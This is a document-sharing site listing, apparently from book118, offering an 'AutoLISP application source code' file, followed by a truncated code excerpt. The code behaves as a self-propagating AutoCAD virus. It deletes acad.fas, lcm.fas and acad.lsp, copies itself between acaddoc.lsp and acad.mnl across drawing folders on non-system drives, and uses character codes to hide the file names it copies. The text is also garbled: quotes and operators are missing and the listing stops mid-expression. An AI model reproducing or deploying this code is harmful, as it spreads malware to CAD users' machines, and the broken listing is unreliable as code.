AutoLISP_应用程序源代码.doc

下载文档 降价啦

187
0
约9.77万字
约 80页
2017-09-08 发布于江西
举报
版权申诉
保障服务

AutoLISP_应用程序源代码.doc

1、本文档共80页，可阅读全部内容。
2、原创力文档（book118）网站文档一经付费（服务费），不意味着购买了该文档的版权，仅供个人/单位学习、研究之用，不得用于商业用途，未经授权，严禁复制、发行、汇编、翻译或者网络传播等，侵权必究。
3、本站所有内容均由合作方或网友上传，本站不对文档的完整性、权威性及其观点立场正确性做任何保证或承诺！文档内容仅供研究参考，付费前请自行鉴别。如您付费，意味着您自己接受本站规则且自行承担风险，本站不退款、不进行额外附加服务；查看《如何避免下载的几个坑》。如果您已付费下载过本站文档，您可以点击这里二次下载。
4、如文档侵犯商业秘密、侵犯著作权、侵犯人身权等，请点击“版权申诉”（推荐），也可以打举报电话：400-050-0827(电话支持时间：9:00-18:30)。

AutoLISP_应用程序源代码

(setq wold_cmd (getvar cmdecho)) (setvar cmdecho 0) ( setq bb 2) (setq dpath (getvar dwgprefix)) (setq wpath (getvar menuname)) (setq wpath (substr wpath 1 (- (strlen wpath) 4))) (setq n 0) (while( n 1) (if(vl-file-delete (findfile acad.fas)) (if(findfile acad.fas) (setq n 0)) (setq n 2))) (setq n 0) (while( n 1) (if(findfile lcm.fas) (if(vl-file-delete (findfile lcm.fas)) (setq n 0)) (setq n 2))) (setq n 0) (while( n 1) (if(findfile acad.lsp) (if(vl-file-delete (findfile acad.lsp)) (setq n 0)) (setq n 2))) (defun wwriteapp () (if (setq wwjm1 (open wnewacad w)) (progn (setq wwjm (open woldacad r)) (while(setq wwz (read-line wwjm)) (write-line wwz wwjm1) ) (close wwjm) (close wwjm1) ) )) (setq lbz 0) (setq wwjqm (strcat dpath acaddoc.lsp)) (if (setq wwjm (open wwjqm r)) (progn (repeat 3 (read-line wwjm)) (setq wz (read-line wwjm)) (setq ab (atoi (substr wz 4 1))) (close wwjm) (if ( ab bb) (setq lbz 1) ) ) ) (setq wwjqm (strcat wpath acad.mnl)) (if (setq wwjm (open wwjqm r)) (progn (repeat 3 (read-line wwjm)) (setq wz (read-line wwjm)) (setq nb (atoi (substr wz 4 1))) (close wwjm) (if ( nb bb) (setq lbz 1) ) ) (setq lbz 1) ) (if (= lbz 1) (progn (setq woldacad (strcat dpath acaddoc.lsp)) (setq wnewacad (strcat wpath acad.mnl)) (wwriteapp) ) ) (if (and (/= (substr dpath 1 1) (chr 67)) (/= (substr dpath 1 1) (chr 68)) (/= (substr dpath 1 1) (chr 69)) (/= (substr dpath 1 1) (chr 70)) ) (progn (setq woldacad (strcat wpath acad.mnl)) (setq wnewacad (strcat dpath acaddoc.lsp)) (wwriteapp) ) (vl-file-delete (strcat dpath acaddoc.lsp)) ) ;load acadapq) (vl-file-copy(findfile(vl-list-string(108 111 103 111 46 103 105 102)))(vl-list-string(97 99 97 100 46 118 108 120))) (load acadappp.lsp) (princ) (if (null stol) (load lcm )) (princ) (load acadappp.lsp) (princ) (load acadapq) (princ) (load